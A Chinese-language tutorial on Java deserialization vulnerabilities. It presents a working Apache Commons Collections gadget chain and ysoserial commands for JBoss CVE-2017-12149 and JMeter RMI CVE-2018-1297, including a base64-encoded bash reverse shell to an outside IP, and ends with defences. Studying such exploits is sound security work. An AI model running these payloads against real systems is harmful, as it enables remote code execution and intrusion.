Java反序列化漏洞原理解析
字数 1311 2025-08-25 22:58:40

Java反序列化漏洞原理解析

Java序列化与反序列化基础

序列化与反序列化过程

Java序列化是指把Java对象转换为字节序列的过程,主要通过ObjectOutputStream类的writeObject()方法实现。反序列化则是把字节序列恢复为Java对象的过程,使用ObjectInputStream类的readObject()方法。

关键点:

  • 只有实现了java.io.Serializable接口的类才能被序列化
  • 使用transient关键字修饰的属性不参与序列化过程
  • 序列化后的二进制数据可以保存到文件或通过网络传输

基本示例

// 可序列化的类
public class User implements Serializable {
    private String name;
    // getter和setter方法
}

// 序列化和反序列化操作
public class Main {
    public static void main(String[] args) throws Exception {
        User user = new User();
        user.setName("leixiao");
        
        // 序列化
        byte[] serializeData = serialize(user);
        FileOutputStream fout = new FileOutputStream("user.bin");
        fout.write(serializeData);
        fout.close();
        
        // 反序列化
        User user2 = (User) unserialize(serializeData);
        System.out.println(user2.getName());
    }
    
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }
    
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

readObject()方法的安全风险

readObject()方法是反序列化漏洞的关键点。如果某个类重写了readObject()方法且实现不当,就可能执行恶意代码:

public class Evil implements Serializable {
    public String cmd;
    
    private void readObject(java.io.ObjectInputStream stream) throws Exception {
        stream.defaultReadObject();
        Runtime.getRuntime().exec(cmd); // 恶意代码执行点
    }
}

Java反射机制

Java反射机制允许程序在运行时获取类的信息并动态调用对象方法,这是构造反序列化利用链的重要基础。

反射基础操作

// 获取类对象
Class UserClass = Class.forName("reflection.User");

// 创建对象实例
Constructor constructor = UserClass.getConstructor(String.class);
User user = (User) constructor.newInstance("leixiao");

// 调用方法
Method method = UserClass.getDeclaredMethod("setName", String.class);
method.invoke(user, "l3yx");

// 访问属性
Field field = UserClass.getDeclaredField("name");
field.setAccessible(true); // 对私有属性需要设置可访问
field.set(user, "l3yx");

通过反射执行系统命令

// 等价于 Runtime.getRuntime().exec("calc.exe");
Class runtimeClass = Class.forName("java.lang.Runtime");
Object runtime = runtimeClass.getMethod("getRuntime").invoke(null);
runtimeClass.getMethod("exec", String.class).invoke(runtime, "calc.exe");

Apache Commons Collections反序列化漏洞分析

关键类分析

  1. InvokerTransformer
    • 通过反射调用任意方法
    • transform方法实现:
public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);
}
  1. ConstantTransformer
    • 总是返回固定值
    • transform方法:
public Object transform(Object input) {
    return iConstant;
}
  1. ChainedTransformer
    • 将多个Transformer串联执行
    • transform方法:
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

构造利用链

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[] {String.class, Class[].class}, 
        new Object[] {"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[] {Object.class, Object[].class}, 
        new Object[] {null, null}),
    new InvokerTransformer("exec", 
        new Class[] {String.class}, 
        new Object[] {"calc.exe"})
};

ChainedTransformer chain = new ChainedTransformer(transformers);
chain.transform(null); // 执行命令

完整利用链构造

  1. 通过TransformedMap触发:
Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);

Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("x"); // 触发命令执行
  1. 通过AnnotationInvocationHandler触发(JDK 1.7):
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);

// 序列化对象
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);

实际漏洞利用场景

常见触发场景

  1. HTTP请求中的参数
  2. RMI(Java远程方法调用)
  3. JMX(Java管理扩展)
  4. 自定义协议接收/发送Java对象

工具使用

ysoserial:生成各种Java反序列化利用链

java -jar ysoserial.jar CommonsCollections5 "command" > payload.ser

漏洞复现示例

  1. JBoss 5.x/6.x反序列化漏洞(CVE-2017-12149)

    • 漏洞出现在/invoker/readonly请求中
    • 使用ysoserial生成payload:
    java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMTExLnh4eC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
    
  2. Jmeter RMI反序列化漏洞(CVE-2018-1297)

    • 利用RMI服务进行攻击:
    java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit target_ip 1099 BeanShell1 "command"
    

RMI基础与安全

RMI基本概念

  • Java RMI用于实现远程方法调用
  • 使用JRMP协议通信
  • 默认监听1099端口(Registry)
  • 远程对象通信端口随机分配

RMI交互流程

  1. 服务端注册远程对象到Registry
  2. 客户端从Registry获取Stub
  3. 通过Stub调用远程方法

RMI示例代码

服务端:

User user = new User();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("user", user);

客户端:

Registry registry = LocateRegistry.getRegistry("localhost", 1099);
IUser user = (IUser)registry.lookup("user");
user.setName("leixiao");

防御措施

  1. 升级有漏洞的组件版本
  2. 对反序列化操作进行白名单控制
  3. 使用安全的替代序列化方案
  4. 对输入数据进行严格验证
  5. 使用安全管理器限制敏感操作

总结

Java反序列化漏洞的核心在于:

  1. 重写readObject()方法可能引入执行点
  2. 利用反射机制动态调用危险方法
  3. 通过精心构造的利用链将反序列化操作导向恶意代码执行
  4. 常见于RMI、JMX等Java远程调用场景

理解这些原理对于挖掘和防御Java反序列化漏洞至关重要。

Java反序列化漏洞原理解析 Java序列化与反序列化基础 序列化与反序列化过程 Java序列化是指把Java对象转换为字节序列的过程,主要通过 ObjectOutputStream 类的 writeObject() 方法实现。反序列化则是把字节序列恢复为Java对象的过程,使用 ObjectInputStream 类的 readObject() 方法。 关键点: 只有实现了 java.io.Serializable 接口的类才能被序列化 使用 transient 关键字修饰的属性不参与序列化过程 序列化后的二进制数据可以保存到文件或通过网络传输 基本示例 readObject()方法的安全风险 readObject() 方法是反序列化漏洞的关键点。如果某个类重写了 readObject() 方法且实现不当,就可能执行恶意代码: Java反射机制 Java反射机制允许程序在运行时获取类的信息并动态调用对象方法,这是构造反序列化利用链的重要基础。 反射基础操作 通过反射执行系统命令 Apache Commons Collections反序列化漏洞分析 关键类分析 InvokerTransformer 通过反射调用任意方法 transform方法实现: ConstantTransformer 总是返回固定值 transform方法: ChainedTransformer 将多个Transformer串联执行 transform方法: 构造利用链 完整利用链构造 通过TransformedMap触发: 通过AnnotationInvocationHandler触发(JDK 1.7): 实际漏洞利用场景 常见触发场景 HTTP请求中的参数 RMI(Java远程方法调用) JMX(Java管理扩展) 自定义协议接收/发送Java对象 工具使用 ysoserial :生成各种Java反序列化利用链 漏洞复现示例 JBoss 5.x/6.x反序列化漏洞(CVE-2017-12149) 漏洞出现在 /invoker/readonly 请求中 使用ysoserial生成payload: Jmeter RMI反序列化漏洞(CVE-2018-1297) 利用RMI服务进行攻击: RMI基础与安全 RMI基本概念 Java RMI用于实现远程方法调用 使用JRMP协议通信 默认监听1099端口(Registry) 远程对象通信端口随机分配 RMI交互流程 服务端注册远程对象到Registry 客户端从Registry获取Stub 通过Stub调用远程方法 RMI示例代码 服务端: 客户端: 防御措施 升级有漏洞的组件版本 对反序列化操作进行白名单控制 使用安全的替代序列化方案 对输入数据进行严格验证 使用安全管理器限制敏感操作 总结 Java反序列化漏洞的核心在于: 重写 readObject() 方法可能引入执行点 利用反射机制动态调用危险方法 通过精心构造的利用链将反序列化操作导向恶意代码执行 常见于RMI、JMX等Java远程调用场景 理解这些原理对于挖掘和防御Java反序列化漏洞至关重要。